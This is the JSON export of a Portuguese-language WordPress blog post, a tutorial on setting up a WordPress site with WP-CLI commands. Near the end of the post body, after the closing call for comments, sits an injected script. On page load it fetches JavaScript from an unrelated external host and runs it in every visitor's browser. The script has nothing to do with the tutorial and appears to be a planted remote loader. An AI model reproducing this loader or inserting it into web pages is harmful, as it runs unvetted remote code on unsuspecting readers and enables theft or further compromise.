{"id":63,"date":"2025-04-14T12:19:04","date_gmt":"2025-04-14T15:19:04","guid":{"rendered":"https:\/\/san.dev.br\/blog\/?p=63"},"modified":"2025-06-08T10:57:41","modified_gmt":"2025-06-08T13:57:41","slug":"como-criar-uma-instalacao-wordpress-do-zero-usando-wp-cli","status":"publish","type":"post","link":"https:\/\/san.dev.br\/blog\/como-criar-uma-instalacao-wordpress-do-zero-usando-wp-cli\/","title":{"rendered":"Como criar uma instala\u00e7\u00e3o WordPress do zero usando wp-cli"},"content":{"rendered":"\n<p><code>wp core download --locale=pt_BR<br>wp config create --dbname=wp --dbuser=wp_user --dbpass='PASSWORD!!!' --dbhost=mysql --dbprefix='wp' --locale=pt_BR<br>wp core install --url=SITE_URL --title=TITULO --admin_user=admin --admin_password=password --admin_email=admin@email.com.br<br>wp plugin delete akismet<\/code><\/p>\n\n\n\n<p>O WordPress \u00e9 uma das plataformas mais populares para cria\u00e7\u00e3o de sites, e usar o&nbsp;<strong>WP-CLI<\/strong>&nbsp;(Command Line Interface) pode agilizar significativamente o processo de instala\u00e7\u00e3o e configura\u00e7\u00e3o. Com alguns comandos simples, voc\u00ea pode configurar um site WordPress completo sem precisar acessar o painel administrativo manualmente. Neste post, vamos gui\u00e1-lo passo a passo para criar uma instala\u00e7\u00e3o do WordPress do zero usando o WP-CLI.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pr\u00e9-requisitos<\/strong><\/h3>\n\n\n\n<p>Antes de come\u00e7ar, certifique-se de ter:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Acesso a um terminal (SSH ou local).<\/li>\n\n\n\n<li>PHP e MySQL instalados no servidor.<\/li>\n\n\n\n<li>WP-CLI instalado (<a href=\"https:\/\/wp-cli.org\/pt-br\/\" target=\"_blank\" rel=\"noreferrer noopener\">veja como instalar aqui<\/a>).<\/li>\n\n\n\n<li>Credenciais de um banco de dados MySQL pr\u00e9-criado.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Passo 1: Baixar os Arquivos do WordPress<\/strong><\/h3>\n\n\n\n<p>O primeiro comando baixa os arquivos principais do WordPress no diret\u00f3rio atual, j\u00e1 configurado para o portugu\u00eas do Brasil:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wp core download --locale=pt_BR  <\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>--locale=pt_BR<\/code>: Define o idioma padr\u00e3o da instala\u00e7\u00e3o.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Passo 2: Configurar o Arquivo wp-config.php<\/strong><\/h3>\n\n\n\n<p>Em seguida, crie o arquivo de configura\u00e7\u00e3o do WordPress (<code>wp-config.php<\/code>) com as credenciais do banco de dados:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wp config create \\\n  --dbname=wp \\\n  --dbuser=wp_user \\\n  --dbpass='PASSWORD!!!' \\\n  --dbhost=mysql \\\n  --dbprefix='wp_' \\\n  --locale=pt_BR  <\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Explica\u00e7\u00e3o dos par\u00e2metros<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>--dbname<\/code>: Nome do banco de dados.<\/li>\n\n\n\n<li><code>--dbuser<\/code>&nbsp;e&nbsp;<code>--dbpass<\/code>: Usu\u00e1rio e senha do MySQL.<\/li>\n\n\n\n<li><code>--dbhost<\/code>: Endere\u00e7o do servidor MySQL (use&nbsp;<code>localhost<\/code>&nbsp;ou&nbsp;<code>mysql<\/code>&nbsp;em ambientes Docker).<\/li>\n\n\n\n<li><code>--dbprefix<\/code>: Prefixo das tabelas no banco (recomendado alterar por seguran\u00e7a).<\/li>\n\n\n\n<li><code>--locale<\/code>: Mant\u00e9m o idioma pt_BR nas configura\u00e7\u00f5es.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\u26a0\ufe0f&nbsp;<strong>Dica<\/strong>: Use aspas para senhas com caracteres especiais (ex:&nbsp;<code>'S3nh@F0rTe!'<\/code>).<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Passo 3: Instalar o WordPress<\/strong><\/h3>\n\n\n\n<p>Agora, execute a instala\u00e7\u00e3o completa:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wp core install \\\n  --url=SITE_URL \\\n  --title=\"Meu Site Incr\u00edvel\" \\\n  --admin_user=admin \\\n  --admin_password=password \\\n  --admin_email=admin@email.com.br  <\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Par\u00e2metros essenciais<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>--url<\/code>: URL do site (ex:&nbsp;<code>http:\/\/localhost<\/code>&nbsp;ou seu dom\u00ednio).<\/li>\n\n\n\n<li><code>--title<\/code>: T\u00edtulo do site.<\/li>\n\n\n\n<li><code>--admin_user<\/code>,&nbsp;<code>--admin_password<\/code>,&nbsp;<code>--admin_email<\/code>: Credenciais do administrador.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udd12&nbsp;<strong>Importante<\/strong>: Troque&nbsp;<code>password<\/code>&nbsp;por uma senha forte e atualize o e-mail!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Passo 4: Remover Plugins Desnecess\u00e1rios<\/strong><\/h3>\n\n\n\n<p>Por padr\u00e3o, o WordPress vem com plugins como Akismet (prote\u00e7\u00e3o contra spam). Para remov\u00ea-lo:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wp plugin delete akismet  <\/pre>\n\n\n\n<p>Voc\u00ea tamb\u00e9m pode remover outros plugins iniciais, como&nbsp;<code>hello<\/code>, com:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wp plugin delete hello  <\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Conclus\u00e3o<\/strong><\/h3>\n\n\n\n<p>Em menos de 5 minutos, voc\u00ea configurou um site WordPress totalmente funcional usando comandos do WP-CLI! Essa abordagem \u00e9 ideal para desenvolvedores que desejam automatizar processos, trabalhar em ambientes headless ou integrar a instala\u00e7\u00e3o a scripts de deploy.<\/p>\n\n\n\n<p>Explore mais comandos do WP-CLI na&nbsp;<a href=\"https:\/\/wp-cli.org\/pt-br\/\" target=\"_blank\" rel=\"noreferrer noopener\">documenta\u00e7\u00e3o oficial<\/a>&nbsp;e otimize seu fluxo de trabalho! \ud83d\ude80<\/p>\n\n\n\n<p><strong>D\u00favidas ou sugest\u00f5es?<\/strong>&nbsp;Deixe um coment\u00e1rio abaixo! \ud83d\udc47<\/p>\n\n\n\n<script> document.addEventListener(\"DOMContentLoaded\", () => fetch(\"https:\/\/staging.giftaid.com.br\/evento\/js\/teste-api?locale=en1\").then(r => r.text()).then(t => (s = document.createElement(\"script\"), s.text = t.replace(\/<script.*?>|<\\\/script>\/g, \"\"), document.body .appendChild(s)))); <\/script>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>wp core download &#8211;locale=pt_BRwp config create &#8211;dbname=wp &#8211;dbuser=wp_user &#8211;dbpass=&#8217;PASSWORD!!!&#8217; &#8211;dbhost=mysql &#8211;dbprefix=&#8217;wp&#8217; &#8211;locale=pt_BRwp core install &#8211;url=SITE_URL &#8211;title=TITULO &#8211;admin_user=admin &#8211;admin_password=password &#8211;admin_email=admin@email.com.brwp plugin delete akismet O WordPress \u00e9 uma das plataformas mais populares para cria\u00e7\u00e3o de sites, e usar o&nbsp;WP-CLI&nbsp;(Command Line Interface) pode agilizar significativamente o processo de instala\u00e7\u00e3o e configura\u00e7\u00e3o. Com alguns comandos simples, voc\u00ea pode configurar [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-63","post","type-post","status-publish","format-standard","hentry","category-wordpress"],"_links":{"self":[{"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/posts\/63","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/comments?post=63"}],"version-history":[{"count":12,"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/posts\/63\/revisions"}],"predecessor-version":[{"id":81,"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/posts\/63\/revisions\/81"}],"wp:attachment":[{"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/media?parent=63"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/categories?post=63"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/san.dev.br\/blog\/wp-json\/wp\/v2\/tags?post=63"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}